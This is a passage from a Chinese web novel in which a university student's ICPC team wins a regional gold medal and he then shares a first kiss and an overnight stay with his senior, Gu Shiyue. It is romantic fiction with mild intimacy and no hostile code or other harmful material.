秦一帆“啧”了声,拍了一下他的脑袋:“能不能说点好的。指着你成为校队支柱呢,说这话,简直欠揍。” “错了。”江洛摸了摸脑袋,“你这样我压力很大的队长。” “压力就是动力,为了八寸蛋糕你都得拼一把,是不是?” 江洛笑了:“好,为了八寸蛋糕,我拼了。” 四周光线很暗,江洛本来就困得有点神志不清,他没有注意到远处树底下的顾时越,他和秦一帆说笑着拐进了右边的一条路。 夜风吹得树叶沙沙作响,那两道身影很快消失在顾时越的视线中。 第35章 这次的icpc区域赛在本市的另一所大学举办, 比赛当日气温骤降,江洛穿了件厚厚的羽绒服,裹着围巾, 还戴了顶毛线帽, 把自己捂得严严实实。他们学校这次派出了三支队伍,开幕式结束后,比赛正式开始。 区域赛属于国赛那一档,规模比江洛先前参加过的各类竞赛要更大, 当然,这里还远远不是终点。 比赛对江洛来说不是包袱也不是负担, 他打acm纯粹是因为自己喜欢算法, 这一点他跟队里的另外两位师兄是一样的, 他们打比赛不是为以后的保研或者就业铺路,只是单纯热爱。更何况算法竞赛这个东西, 不是真的热爱也没办法长久地坚持。 三人一台电脑, 前三题都是简单题, 过得很轻松。每道题评测通过,志愿者就会拿来一支不同颜色的气球插在桌位的显眼处,现场哪种颜色的气球最多,就说明哪道题解出来的队伍最多。除了气球, 电子榜单上也会实时显示每道题的队伍通过数, 江洛他们队是看榜做题, 会根据榜单调整做题顺序, 遇到卡住的题,先做通过率高的,这样更能有效利用时间。 江洛个人不喜欢看榜做题,容易被思路怪带歪, 通过率高的题未必思路简单,通过率低的题也未必难解,如果太依赖榜单数据,自己队伍的节奏会容易乱掉。 秦一帆在看题,另一位队友在敲代码,提交后显示“WA(答案错误)”,江洛凑过来看了一眼。 “哈希值是不是开小了。”江洛说。 周庭也发现了,他点了点头,改了一下代码,然后又改了一处小地方,改完写了个对拍程序测了一下,确认没问题再重新提交。 这次通过了。 三个人分工明确,谁开题,谁上机,决策好就实施,节奏把控得很好。当然,肯定有卡题的时候。这会儿轮到江洛上机敲代码,秦一帆和周庭在草稿纸上解题理思路,两个人都被卡着。 中午时间,志愿者把午餐分发到各队的桌位上,发的是麦当劳,江洛敲代码敲得正专注,旁边忽然飘来一阵汉堡香。 秦一帆咬着汉堡凑过来,江洛已经快收尾了,这题有点难度,秦一帆问:“几成概率通过?” 江洛看着屏幕说:“八成吧。” 提交,评测。 通过。 “可以可以。”秦一帆把他的午饭拎过来,“先吃饭吧。” 江洛把汉堡拿出来,问秦一帆和周庭:“那两题你们看得怎么样了?” “卡。”秦一帆吸了一口可乐,把几张写得满满当当的草稿纸拿到他面前,这题江洛也看过了,所以秦一帆直接跟他说自己的思路:“我想先算出取不取反对答案的贡献,每一行如果取反对答案贡献更大的话就取反,但这么算的话一秒内只能处理10万行,数据100万行就超时了,行不通。” 江洛低头看了看草稿纸,这道题确实难,秦一帆“啧”了一声:“算了,不死磕了,先放一放。” 周庭已经迅速把午餐吃完了,他起身走到江洛身后:“江洛,你去旁边吃吧,我上个机。” “哎好。”江洛跟他换了位置。 “你吃那么快。”秦一帆一脸惊讶,志愿者送餐过来才三分钟时间,这人进食速度也太惊人了。 周庭敲着键盘说:“没那时间细嚼慢咽。” 比赛时长五个小时,电子榜单上能看到各个队伍的实时排名,第四个小时开始封榜,之后就看不到排名了,要等比赛结束才会揭晓。江洛他们队封榜的时候排在30名,前26名才能拿金牌。 题目越来越难,卡的时间也越来越长,至此江洛他们队已经通过7题,还剩最后半小时,秦一帆开的那道题已经被他们放弃,不能顾此失彼浪费太多时间。 三个人在讨论另一道题,秦一帆和周庭都有思路,但想不出代码怎么实现。 江洛看着自己的草稿纸说:“我想试试直接枚举T长度的所有可能性,再用哈希一个一个验证。” “会不会超时。”周庭说。 江洛用调和级数推导出了时间复杂度,按照他的推算,理论上不会超时,他说:“试试。” 江洛上机敲代码,可谓生死时速,最后一分钟直接提交,三个人屏息凝神看着电脑屏幕。 电脑评测中,屏幕上在转圈圈,紧接着下一秒就弹出了“AC(通过)”的提示。 秦一帆笑着“靠”了一声,抬手搓了搓江洛的头发:“还得是我们洛仔。” 江洛刚极限敲完一个代码,此刻心里十分畅快,很爽,他笑了笑:“还不知道能不能拿牌呢。” 秦一帆豪迈一摆手:“拿不拿牌我们仨今天都尽力了,不遗憾。” 比赛结束后半小时,颁奖典礼开始,这时候要进入滚榜环节,正式公布榜单排名。电子榜单上的队名飞速滚动,排名不断变换,江洛他们队超过12支队伍,直接升到第了18名,拿到了金牌。 “我靠……”秦一帆猜到他们队应该会超过几支队伍,但没想到会超过这么多,足以见得江洛刚才解出来的那道题多有含金量。 周庭看着榜单,脸上终于有了点表情,他转头看了看身边的两位队友,不太明显地笑了下:“辛苦了。” 他难得有点情绪,这倒稀罕,秦一帆转过身来把他一把抱住,用力地在他背上拍了拍:“辛苦辛苦。” 周庭嫌弃地推开他:“说话就说话,别动手动脚的。” “事儿精。”秦一帆嗤笑一声,又转过去看了看江洛,不由得感慨,“你小子是真有天赋。” 江洛笑了笑:“我也觉得。” 周庭在旁边短促地笑了一声。 “你倒是一点不谦虚。”秦一帆笑着弹了一下江洛的额头。 他们校队派出的另外两支队伍分别拿了银奖和铜奖,下午五点多时,颁奖典礼正式结束。 冬日昼短,五点多天已经黑了,太阳一落山,气温又降了几度。秦一帆今天穿少了,刚才在室内感觉不到,一出赛场冷得直哆嗦。 “我靠,这么冷。”秦一帆搓了搓脖子。 “今天大降温啊,你穿这么点。”有个队友说了句。 “白天感觉还行啊,嘶……晚上冷成这样。” 江洛见他冷得直缩脖子,把自己的围巾摘下来递给了他:“你裹一下吧,挡挡风,别感冒了。” “哎,洛仔真好。”秦一帆接过围巾往脖子上一裹。 江洛笑着问:“帽子要不要也给你?” “不用,你戴着吧,你头那么小,回头我再把你帽子抻大了。” 江洛笑了:“哪有那么夸张,不至于。” 今天晚上他们几个参赛的队伍要聚餐庆祝一下,比赛结束后,一行人直接坐车去了餐厅。 江洛一坐车上就拿出了手机,想给顾时越发消息。他手机开着免打扰模式,关掉才发现顾时越半小时前就给他发了条消息——比赛结束了吗? 江洛立马回复:结束了结束了,我手机刚才开了免打扰,没收到你的消息 顾时越:嗯,回学校了? 江洛:还没有,今天晚上校队要聚餐,一会儿还要跟他们一起吃饭 顾时越:嗯,知道了。 江洛低头看着手机,其实刚才拿手机的一瞬间他也不知道自己想跟顾时越说什么,他只是本能地想要找他。 他跟顾时越已经半个多月没见面了。 晚上的聚餐七点半就结束了,结束后一伙人也没散,计划着再找个地方玩玩,最后定了餐厅附近的一家民谣酒吧。 刚才在餐桌上这一伙人就在讨论今天比赛的题目,这会儿转场到酒吧,话题还是离不开这个,讨论得热火朝天。 也不是所有人都愿意在放松的时候聊专业上的话题,有人笑着说了一句:“你们有劲没劲啊,吃饭聊到现在了。” 有人回了一句:“有劲啊。” “唉。”这人笑着摇摇头,“我真服了,你们这一帮算竞脑。” 周庭仿佛跟他们在两个世界,安安静静喝着酒,听台上的乐队唱歌。江洛也不喜欢在玩的时候还聊专业,而且这会儿他的心思也全然不在这,早就飘远了。 他撑着下巴小口小口地抿着酒,不知不觉也喝了不少。桌上的手机屏幕亮了一下,江洛垂眼一看,屏幕上弹出了条消息—— 顾时越:聚餐结束没有? 江洛赶紧拿过手机,放下酒杯打字回复:还没TvT,他们又找了个地方玩儿 顾时越:嗯 顾时越:玩完了早点回去休息 江洛拿起手机站了起来,他走去了外面,在走廊倚墙站着,低头看着手机。 顾时越的消息没再发来,他盯着聊天界面看了几秒,没多想,直接打了通电话过去。 电话响了两声就接通了,顾时越低沉的嗓音隔着手机传过来:“喂?” “学长。”江洛抿了抿唇,“我今天可以去找你么?我……我想看看棉团。” “找我只是为了看它?” “我……”江洛垂下眼眸,手指在墙上轻轻画着圈儿,“我还想看你。我好久没见你了。” 江洛头晕乎乎的,他觉得自己今天可能有点喝多了,不然怎么会把心里话都毫无顾忌地宣之于口。 电话那头的人沉默了片刻,说:“你现在在哪儿,我来接你。” 江洛一愣:“现在吗?” “嗯,现在。” 江洛打完电话就回去了,酒吧里面暖和,江洛刚才把羽绒服脱了,去外面也没把外套穿上,有点被冻着了,他偏过头打了个喷嚏。 “出去怎么不穿衣服。”周庭转头看着他,“把外套穿上吧,别着凉了。” 江洛把羽绒服穿上了,秦一帆今天喝得有点多,明显有点兴奋,他端了杯酒递到周庭嘴边:“尝尝,这个挺好喝。” 周庭瞥了他一眼:“你今天喝了多少?” “干嘛。”秦一帆笑了,“我又没喝多。” 周庭推开那杯酒:“我不要喝。” “靠了,你当我是喝过的啊?”秦一帆一眼看穿他,“这是服务员刚拿来的。再说是我喝过的又怎么,你这人咋这么事儿,就我一天天的拿热脸贴冷屁股。” 周庭拿纸巾擦了擦嘴,没说什么。 江洛在旁边低着头笑,秦一帆看他一眼,也笑了:“偷偷摸摸笑什么呢。” 江洛笑了一会儿跟他说:“队长,我一会儿可能要早点走。” “有事啊?” “算……是吧。” 秦一帆像是想起了什么,猛地拍了一下桌子:“我把八寸蛋糕给忘了。” 周庭看了他一眼:“什么八寸蛋糕?” “洛仔的八寸蛋糕。” 江洛乐道:“我跟你开玩笑呢,你还真打算买啊。” “必须啊。”秦一帆拿出手机,“我现在就订,正好大家一块儿吃了。” “不是给我一个人的啊。”江洛开玩笑说。 秦一帆笑着说:“那我再单独给你订一个,你吃不完不许走。” “No,饶了我。” 晚上能现订生日蛋糕的甜品店很少,秦一帆找了好半天才找到一家,这家有存货,下单可以马上送过来。 秦一帆本来还担心这帮人刚吃完饭吃不下蛋糕,结果是多虑了。江洛吃着蛋糕,秦一帆靠过来一把搂住他的脖子,带着一身的酒气:“我们八寸蛋糕味道还行?” 江洛点点头:“非常行。队长破费了。” “还客气上了。” 江洛眯着眼睛笑笑:“没有,不跟你客气。” 秦一帆今天确实很开心,也喝了不少,他用力地揉了揉江洛的脑袋:“今天那道题要不是你解出来我们还不一定能拿金,咋这么争气呢。” 江洛笑了笑:“没有你们前面解出来的那些题,光那道题解出来也没用啊。” 顾时越已经到了,他下车后直接进了酒吧。他站在进门的地方,四下扫了一圈,目光落在了江洛那一桌。 江洛身上穿着羽绒服,本来就有点热,秦一帆还跟个大暖炉似的挨着他,胳膊习惯性地搭在他肩上。 江洛往旁边坐了坐,刚想推开秦一帆的手,一抬眼看到了站在不远处的顾时越。 顾时越看着这边,脸上没什么表情。 江洛赶紧站了起来,他猛一起身,其他人不知道什么情况,齐刷刷地抬头看向他。 “那个,我有事先走了,你们慢慢玩啊。”江洛边拿包边跟大家说。 秦一帆喝得脑子有点不清醒,江洛刚跟他说的扭头就忘了,他一把抓住江洛的胳膊:“这么早你走哪儿去啊。” 江洛语气有点无奈:“队长,我刚才就跟你说了我今天得早走。” 秦一帆稀里糊涂的:“什么时候说的?” 周庭“啧”了一声,直接一巴掌拍在秦一帆手背上,“啪”的一声,拍得很用力,秦一帆疼得松开了手:“我靠,你打我干嘛。” 周庭瞥了他一眼:“让你清醒清醒。” 江洛胡乱地把毛线帽往头上一戴,拿上书包,快步走去了顾时越那边。 “学……学长。”江洛走到顾时越面前,脸蛋红扑扑的,说话声音也有些喘。 顾时越朝他们那一桌扫了一眼,收回视线看着江洛:“喝酒了?” 江洛点了点头:“……嗯。” 都来酒吧了,不可能不喝酒,但江洛明显是喝了不少,身上带着淡淡的酒气,眼眸雾蒙蒙的,视线不聚焦。他穿了件浅色的短款羽绒服,头上戴着浅灰色的毛线帽,半个多月没见,头发长长了一些,凌乱地压在帽子底下,挡住了额头和耳朵。 他仰头看着顾时越,嘴唇无意识地微张着,因为喝了酒的缘故,那两片唇瓣比平时更加红润。 “我……我没有喝很多。”江洛小声说着,眼睛一眨一眨,落在睫毛上的发丝也随之微微颤动。 “没有喝很多脸还这么红。” 江洛低下头去,手指勾着衣服下摆:“我这是……看见你才红的。” 说完这话,江洛的脸才是真的羞红了。刚才是因为喝了酒,此刻却真真切切是因为顾时越。 “江洛。”顾时越忽然叫了他的名字,嗓音低哑,语调很沉。 江洛倏地抬起头,看着他,眼眸微微颤动。 顾时越眼底情绪暗流,沉默了很久才说:“先回去。” 走到室外,迎面刮来一阵寒风,冻得江洛缩了缩脖子。顾时越今天穿了件灰咖色的呢子大衣,很帅,很显身材,就是看着不抗冻。江洛转头看了他一眼:“学长……你冷不冷啊?” 顾时越摇头。 两人并排走在一起,垂在身侧的手不免碰到一起,顾时越的手很冷。 “可是你的手很冷。”江洛垂眼看着他的手。 江洛其实是想牵他的手,因为上次没牵到。 酒精会放大内心深处的欲求,江洛今天借着酒意已经说了很多直白又暧昧的话,这会儿被冷风吹得清醒了点,顾时越转过头来看他,他抿了下嘴唇,收住了后面想说的话。 回去的路上顾时越基本没说话,江洛坐上车后也突然变得很安静,两人几乎沉默了一路。 顾时越把江洛带回了自己住的地方,下了电梯,走到门口,顾时越刷了一下门锁指纹,江洛站在他身后,兜里的手机响了起来,他摸出来看了一眼,是秦一帆的电话。 “喂,队长?”江洛接通了电话。 顾时越握着门把的手顿了一下。 “洛仔,你围巾还在我这呢。”秦一帆在电话那头声音很大地说。 “啊……没事,先放你那,我到时候——” 江洛话还没说完就被顾时越抓着手腕拉进了屋里。 “砰”的一声,门被关上,江洛还没反应过来,已经被顾时越压着按在了门板上。顾时越攥着他的手腕,把他拿着手机的那只手压在门板上。江洛有些错愣,眨眼的一瞬间,顾时越忽然低下头吻住了他的嘴唇。 江洛呼吸一滞,猛地睁大了眼睛。 手机扬声器里还响着秦一帆的声音:“一会儿我回学校直接拿你宿舍去吧。……喂?洛仔?” 冰凉的嘴唇贴在一起,江洛仿佛掉入深水之中,四周无声无息。 片刻之后,顾时越离开了江洛的嘴唇。他的手还卡着江洛的手腕,视线扫了一眼江洛手上的手机。 江洛大脑一片空白,手从门上缓缓滑下来,手指机械地在屏幕上点了一下,挂掉了电话。他后背抵着门板,微微仰起脸与顾时越四目相视。 “你说你的时间都可以给我。”顾时越问他,“还记得这话吗?” 江洛神色恍惚地点了点头。 顾时越垂眸望着他,指腹在他手腕脉搏处轻轻摩挲,声音有些低哑:“我不止要你的时间,我还要你。” 第36章 江洛心跳加速, 呼吸很乱。他没有回避顾时越的目光,红着脸说:“都给你……” 他往顾时越身前靠了靠,垂下眼眸抓住了他的衣服, 嗫嚅道:“早就是你的了。” “谁是我的?”顾时越垂眸看着他。 “我。”江洛舔了舔发烫的嘴唇, “江洛。他早就是你的了。” 顾时越低下头,额头贴着江洛的额头,久久不语。 两人鼻息交错,江洛抿了抿唇, 哑着嗓子问:“可不可以……再亲一下?” 话音未落,顾时越就捏住他的下巴吻了过来。江洛闭上了眼睛, 嘴唇无意识地紧闭, 他从没跟人亲过嘴, 留恋顾时越嘴唇的温度却很笨拙地回应着他的吻。 甚至可以说他根本没有回应,他浑身僵硬得连嘴唇都忘了张开。 顾时越伸出舌尖在江洛唇缝间舔了一下, 江洛身体猛地一抖, 顿觉浑身酥麻。他的嘴唇闭得更紧了, 身体也越来越热、越来越软。顾时越眯缝着眼睛看他,另一只手搂在他腰上。江洛在微微发抖,睫毛也颤得厉害。 顾时越离开了他的嘴唇片刻,捏着下巴的手往上抚了抚, 拇指覆在他嘴唇上, 指腹在那两片唇瓣之间轻轻摩挲, 提醒道:“我没有想点到为止。” 江洛颤着睫毛睁开了眼睛。 顾时越的指尖抵进江洛的唇缝, 说:“嘴唇张开。” 江洛的嘴唇被顾时越拨开一条小缝,他眼神迷蒙,有些恍惚地张开嘴唇,探出舌尖在顾时越指尖上舔了一下。顾时越搂着江洛的胳膊猛然收紧, 偏过头用力地吻住他的嘴唇。 江洛的唇瓣被顾时越的舌头轻轻松松地抵开了,舌尖相缠的那一瞬间江洛顿时头皮发麻,他那么生涩,颤抖着、小心翼翼地舔着顾时越的舌头。顾时越的欲望在这一刻外放得很彻底,他掐着江洛的下巴,吻得很深很深。江洛的舌尖都被吸麻了,被顾时越吻得浑身酸软、头脑发涨。他几乎是缺氧了,软绵绵地靠在顾时越身前,嘴里逸出软软的轻哼。 谁也没有发现从客厅跑来的棉团,老猫咪安安静静地坐在一旁看着他们,喵了好几声也没人搭理它。 江洛涨红了脸,快要不能呼吸,他仰着脖子闷哼了一声。 快要窒息了,可是好舒服,心里又涨又满,心脏快要跳出来了。 一吻结束,江洛大口大口地喘着气,被吻过的嘴唇变得又红又肿,鼻尖上浮了一层细密的汗珠。他低着头,一副还没回神的状态,毛线帽歪在一边,挡住了一只耳朵。 顾时越帮他正了正帽子,手指滑到耳后轻轻捻着他的耳垂,说:“头发长了。” 江洛浑身一颤,耳朵连着脖子那一片都麻了。他忽然抱住顾时越的腰,脸埋进他的肩窝,闷声道:“你……你先别碰我,让我先缓缓。” “可你现在在碰我。”顾时越嗓音低哑,“这又怎么说。” “我想抱着你缓一会儿……我现在心跳有点快。” 顾时越抬起手抚了抚他的后颈,江洛又抖了一下。 “学长……”江洛把脸埋得更深,声音都哑了,“饶了我。” 顾时越低笑一声,不再碰他。 江洛抱着顾时越缓了一会儿,心绪渐渐平稳了下来。 “喵……”棉团走到两人脚边,往地上一坐,仰起脸一脸乖巧地看着他们。 听到猫叫声,江洛抬了下头。 “缓好了?”顾时越在他耳边问。 “嗯……”江洛点了点头,抱着他的手也松开了。 顾时越把江洛掉在地上的书包捡起来放在置物柜上,说:“去洗澡。” 江洛一愣,红着脸说:“那个……我没有换洗的衣服。” “穿我的。”顾时越转身说。 顾时越走后,江洛在玄关站了一会儿,还在缓神。棉团“喵呜喵呜”地蹭到他腿边。他把棉团抱起来,揉着它的脑袋小声道:“小猫咪怎么还看人亲亲呢。” 小猫咪表示很无辜。 江洛把棉团抱进了客厅,然后去了浴室。 他站在镜子前,摸了摸自己有些红肿的嘴唇。 他刚才竟然跟顾时越接吻了,还伸舌头了。 江洛看着镜子里的自己,回想起顾时越嘴唇的触感,脸颊又不受控制地泛起红晕。他脱掉毛线帽,打开水龙头往脸上扑了扑水,想给脸降降温。 羽绒服太保暖,江洛热出一身汗,最里面那件衣服都湿了。他脱了羽绒服,把上衣都脱光了才意识到还没拿换洗衣服。 江洛刚想把衣服穿上,门外忽然传来敲门声。 “等一下,我穿个衣服。”江洛赶紧穿上衣服。 顾时越本来就是来拿江洛的脏衣服的,他没等,直接推门进去了。江洛刚套进去一个袖子,浴室门就被人打开了。 顾时越拿着干净的睡衣走了进来,江洛裸着上身尬在原地,手忙脚乱地拿衣服挡住自己。 顾时越已经把外套脱了,他里面穿了一件黑色的高领毛衣,偏修身,很显身材,衬得他宽肩窄腰,有点……性感。 视线扫到顾时越紧实的腰腹,江洛下意识撇开眼,还有点不好意思看。 顾时越看了他一眼,把手里的衣服放在一旁的置物架上。他走到江洛面前:“挡什么,怕我看?” “我……不是。”江洛清了清嗓子,红着耳朵小声道,“我就是有点不好意思……你突然进来,我一下子没反应过来。” “要反应什么。”顾时越垂眼看着他,声音压得很低,“亲都亲了。” 江洛脸一红,抿住了嘴唇。 “衣服脱了。”顾时越说。 江洛抓着衣服的手一顿,眼睛眨了眨。 “我拿去洗。” “哦……”江洛慢吞吞地把胳膊从袖子里抽出来,衣服卷成一团挡在胸口。 接下来是裤子,江洛实在不好意思当着顾时越的面脱裤子,他犹犹豫豫地抓着衣服,半天没有动作。 顾时越把他手里的衣服拿走,垂眼扫着他的裤腰,状似询问:“我帮你脱?” 江洛的脸瞬间红透,讨饶道:“学长,你……你别这样了。” 顾时越朝他靠近一步,几乎贴着他:“我哪样?” 江洛仰起头看着他:“你故意逗我呢……我知道。” 顾时越眼里有不太明显的笑意。 顾时越略微低下头,嘴唇凑到他耳旁,说:“今天就当是我故意逗你,下次再遇到这种情况,我说是什么就是什么了。” 说罢,他侧过头吻了吻江洛的耳垂:“知道吗?” 江洛眨着眼睛哆嗦了一下:“嗯……” 顾时越关上门出去了,江洛抬起手摸了摸发烫的耳朵,低下头轻轻地笑了。 顾时越拿来的睡衣是他的,内裤也是,衣服很新很平整,带着洗衣液的香气,应该是洗过但从来没穿过。睡衣和内裤尺码都偏大,江洛犹豫了好半天,在穿内裤和挂空挡之间,最终还是选择了前者。 他红着脸把内裤穿上,给自己做心理建设:穿男朋友内裤有什么的。 江洛抱着换下来的衣服走出了浴室,棉团趴在沙发上睡觉,客厅里没有人。 “学长?”江洛叫了一声。 “这里。”卧室对面的房间里传来顾时越的声音,门开着,江洛走过去看了一眼。 这是顾时越健身的房间,屋里健身设备很齐全,顾时越正在跑步机上跑步,穿着那件黑色的高领毛衣。今天就简单跑个步,他懒得换运动服,就直接穿着这身跑了。 江洛的目光不由得落在他的腰间——修身的毛衣紧贴腰腹,隐隐勾勒出腹肌线条。 顾时越朝门口看了一眼,江洛抱着一堆衣服,身上穿着他的睡衣,眼睛不知道在往哪儿看。 “衣服放洗衣机,等会儿一起洗了。”顾时越说。 江洛收回视线:“我不知道洗衣机在哪儿。” “东边那个卫生间旁边是洗衣房。” “嗯嗯好的。” “我跑会儿步,你先自己玩。” “那你跑完……跟我玩么?” 顾时越视线扫过来,看了他一眼。 江洛撩完就想跑,其实也不是故意撩扯,心里想什么就随口说出来了,谁知道一开口这话听着这么不对劲。 “我去洗衣服。”江洛转身就想走。 顾时越叫住他:“站那儿。” 江洛立马站住,背对着顾时越。 “转过来。”顾时越边跑边说,气息还是很稳。 江洛乖乖转过身。 “每次话一说完就跑,好好回忆一下你这是第几次了。” 这倒是真的,江洛有点心虚:“这次不跑了,我乖乖在这呢。” 说着眼神又情不自禁地飘向顾时越的腰腹,顺着腰线缓缓往下,落在那两条大长腿上。 心理建设已经做好了,也缓过来了,敢大大方方地看了。 “看哪里?”顾时越问。 江洛收回目光,诚实回答:“你的腰……和腿。” 顾时越当然知道他在看哪里,他忍不住笑了一声,笑声低低沉沉的,很撩人。 跟刚才动不动就害羞的状态不同,江洛明显已经缓过来了。 他本来就不是个扭捏畏缩的性子。 “缓过来了?”顾时越问了一句。 “嗯?”江洛反应了一下,弯着眼睛笑起来,“我感觉还要再缓一会会儿。” “嗯,慢慢缓。” 江洛看了看怀里的衣服,很坦诚地问:“学长,我放完衣服能过来看你跑步么?” 顾时越故意逗他似的,问了一句:“你是想看我跑步还是想看别的?” 江洛先是一愣,然后低头笑了一声,小声道:“跑步想看……别的也想看。” 顾时越点头道:“那去放衣服吧,放完就过来。” “嗯嗯好的。”- 作者有话说: 新年快乐[烟花] 第37章 江洛把衣服拿去了洗衣房, 然后就回健身室看顾时越跑步了,顾时越又跑了二十分钟,这期间江洛的视线一直黏在他身上, 纯情小狗这会儿也架不住心猿意马。 顾时越的身材很好, 江洛一直都知道,只是以前从没刻意关注,即使注意到也没带着那些说不清道不明的心思。今时不同往日,他现在看顾时越全身上下每一个部位都有了别样的感觉。 跑完步, 顾时越去洗澡,江洛坐在客厅玩手机, 怀里抱着棉团。顾时越从浴室出来的时候, 他还在沙发上坐着, 连位置都没变过,显然, 他第一次在顾时越这里过夜, 还有点拘谨。 “坐那不冷吗?” 听到声音, 江洛抬了下头,顾时越站在不远处,身上穿着黑色睡袍,前襟微微敞开, 隐隐约约能瞥见胸口的肌肉线条。 江洛坐得很直, 但眼神有点飘, 摇了摇头说:“不冷。” 南方不供暖, 冬天室内跟室外温度差不多低,顾时越家有地暖,在屋里只穿个单衣也不觉得冷。 “所以就打算一直坐那了?”顾时越说。 江洛眨巴了一下眼睛。 顾时越头朝卧室方向偏了偏:“去我房间。” 江洛抿住嘴没吭声,其实他还没做好进顾时越卧室的心理准备, 那毕竟是顾时越的私人地带,而且他不是进去一下就出来,他是要睡顾时越的床。从小到大除了爸爸妈妈和江晨,他只跟程嘉树睡过一张床。虽说他跟顾时越已经是……那种关系了,但总归是有点不好意思的。 “我……”江洛张了张口,低头轻轻捏着棉团的爪子,“我们今天……一起睡啊?” “问猫还是问人?”顾时越问。 江洛仍旧低着头,耳廓微微泛红:“问人。” “是,一起睡。”顾时越走到了卧室门口,他看出江洛的犹豫,直接说:“过来。” 江洛抬起了头。 “不是要跟我玩吗。”顾时越一脸正经地说了一句不太正经的话。 江洛呼吸一紧,心道这什么虎狼之语。 虽然这虎狼之语是他先引出来的。 “要不要过来?”顾时越问他。 “嗯……要。” 江洛脸蛋红得像个苹果,他把棉团抱到沙发上,手机往裤兜里一揣,乖乖走去了顾时越那边。棉团叫着跑过来,顾时越看了它一眼,冷冰冰道:“去自己房间睡。” 棉团拿脑袋蹭了蹭江洛的裤子,往他脚边一坐,企图傍大腿。 “学长,要不……” “刚才陪它也陪够了,你现在的时间是我的。”顾时越说。 老猫咪没能傍上大腿。 进房间后,江洛有些拘束地站在一旁,他看见床头柜上摆着一张相框,相框里是顾时越和他妈妈的合照。照片上的顾时越还是个小男孩的模样,嘴角微微翘起,笑得矜持又可爱。他妈妈非常漂亮,顾时越的眉眼很像她。 江洛从照片上收回视线,一抬头发现顾时越已经脱了睡袍,穿上了睡裤,他裸着上半身站在床边,背对着江洛这边。 非礼勿视,江洛下意识移开视线,刚移开没两秒又偷偷转回来,一边脸红一边看着顾时越的背影。 顾时越扬手套上上衣,胳膊一抬,手臂和背上的肌肉都绷了起来,背肌线条很明显,但不是那种很夸张的肌肉。 顾时越换了身轻便的睡衣,他穿衣服很快,其实江洛也没看上几秒。顾时越转身跟江洛对上视线,江洛猛地回神,脸比刚才又红了一个度。 “看什么了?”顾时越非要问一嘴。 江洛清了清嗓子,说:“看……你了。” “脸这么红,也是看我看的?”顾时越往床边一坐,语调漫不经心的。 “嗯呐。”江洛拉了拉耳垂,“我这一晚上净看你了……也净脸红了。” 顾时越发出一声短促的低笑,说:“让你进来不是让你罚站的,还要站那儿多久。” 于是江洛走过去在他旁边坐了下来,两只手搭在膝盖上,坐得乖乖巧巧。 “你怎么……突然换衣服了?”江洛没话找话,问了个很没营养的问题。 “洗完澡穿睡袍方便,但我不喜欢穿着睡袍睡觉。”顾时越认真地回答他的问题。 “今天比赛怎么样?”顾时越问他。 江洛笑着说:“拿了金牌。” “很厉害。” “我还以为你不会问呢,想着在你面前臭屁一下都没机会。” “开心吗?” “开心啊。今天特别开心,不止是因为拿了奖……”江洛低着头对了对手指,“还因为你。” “学长,我们现在……算那种关系吗?”江洛又问了个很没营养的问题。 “哪种关系?” “就是……”江洛继续对手指,“男男朋友……那种关系。” “需不需要再亲一下确认?” “好……好的。” “这次换你来确认。”顾时越转过头看着他。 江洛也转过了头,表情有点愣。 “亲我。”顾时越说。 江洛抿了抿唇,闭上眼睛慢慢靠过去,嘟起嘴在顾时越唇上轻轻碰了一下。 江洛轻轻软软地贴着顾时越的嘴唇,顾时越半睁着眼看他,低声说:“这样确认还不够。” 话音刚落,顾时越就抬起手一把按住了江洛的后颈,舌尖顶开江洛的嘴唇,加深了这个吻。 江洛闭着眼,鼻息乱而急促,他含住顾时越的舌头,学着顾时越一样,轻轻地舔舐,轻轻地吮吸。跟顾时越比起来,他这点小动静就是蜻蜓点水,可也勾得顾时越呼吸粗重。 江洛的后颈被顾时越按得有点疼,他高高地扬起脖子,沉溺在这个侵略性十足的亲吻中,嘴唇被吻得软软的、湿湿的。 手机铃声突然响了起来,江洛猛地睁开眼睛,心跳都停了一瞬。 是江洛口袋里的手机在响,顾时越松开了他。 江洛摸出手机看了眼,心跳又停了一下——是江晨打来的电话,还是视频电话。 江洛赶忙用手背蹭了蹭嘴角的口水,两个人才刚接完吻,还那么激烈,嘴唇都是红的。江洛一想到自家弟弟打电话来时他正在跟男人亲嘴就觉得有点心虚,好像做了什么见不得人的事似的。 “谁?”顾时越问。 “我弟弟。”江洛又是擦嘴又是整理衣服,手忙脚乱的。 顾时越看到是视频电话,站起身说:“聊完叫我。” 江洛抬起头看他,还没来得及说什么他就开门出去了。 江洛长长地呼了口气,调整好呼吸接通了电话。 江晨在他房间里,穿着睡衣盘腿坐在床上,背景是他的衣柜。 周六晚上是江洛和江晨的固定通话时间,只要江洛周末不回家,兄弟俩一般都会打视频电话,以往都是江洛打过去,今天情况特殊,他给忘了,江晨就主动打过来了。 “我以为你还在外面吃饭呢。”江晨在视频那头说。 江洛不自在地摸着脖子,清了清嗓子说:“今天事儿多,忘记给你打电话了。” 江晨拿了个抱枕抱在怀里:“哥,你怎么脸这么红?” “啊?”江洛摸了下脸,“啊……刚洗完澡,热水熏的。” 江晨学习上聪明,反应快,但其他方面就不是那么回事了,他比他哥还迟钝,不是那么敏感细腻的小孩。他没察觉到江洛有什么不对劲,继续跟他聊着天:“今天题目难吗?” “有几道挺难的,最难的那两道看一眼就放弃了,没敢浪费脑细胞。” 江晨嘴巴挡在抱枕后面笑了一声,他笑起来眼睛也有点弯弯的,眉眼跟江洛很像,只是没江洛弯得那么明显。 江洛平时话挺密的,今天有点熄火,都没主动挑起话题,好在他这个钝感十足的弟弟什么也没看出来。 江晨虽然神经粗,但是眼睛不瞎,视频里江洛的通话背景明显不是学校宿舍。 “哥,你不在宿舍?” “我……在朋友家。”江洛谈恋爱没打算瞒着江晨,他也不怕江晨知道这件事,只是现在还不是时候,他想等明年江晨成年了再告诉他。虽然现在早恋不稀奇,同性谈恋爱也不稀奇,但江晨的世界太干净太单纯了,在江洛眼里他就是个什么都不懂的呆小孩儿。等成年了再说吧,反正也快了。 “嘉树哥那儿么?” “不是。是……另一个朋友,你见过的,上次漫展。” 江晨愣了一会儿,迟疑地开口:“哥,你……谈恋爱了?” 这一问直接让江洛愣住了,好半天没说话。他心道什么情况,我这平时钝得要命的弟弟今天怎么雷达这么灵敏。 江洛语塞道:“我……” “你……真谈了啊。”江晨的表情有点微妙,嘀咕了一句,“你怎么已经住人家女生家里去了……” “……啊?”江洛凌乱了,“什、什么女生?” 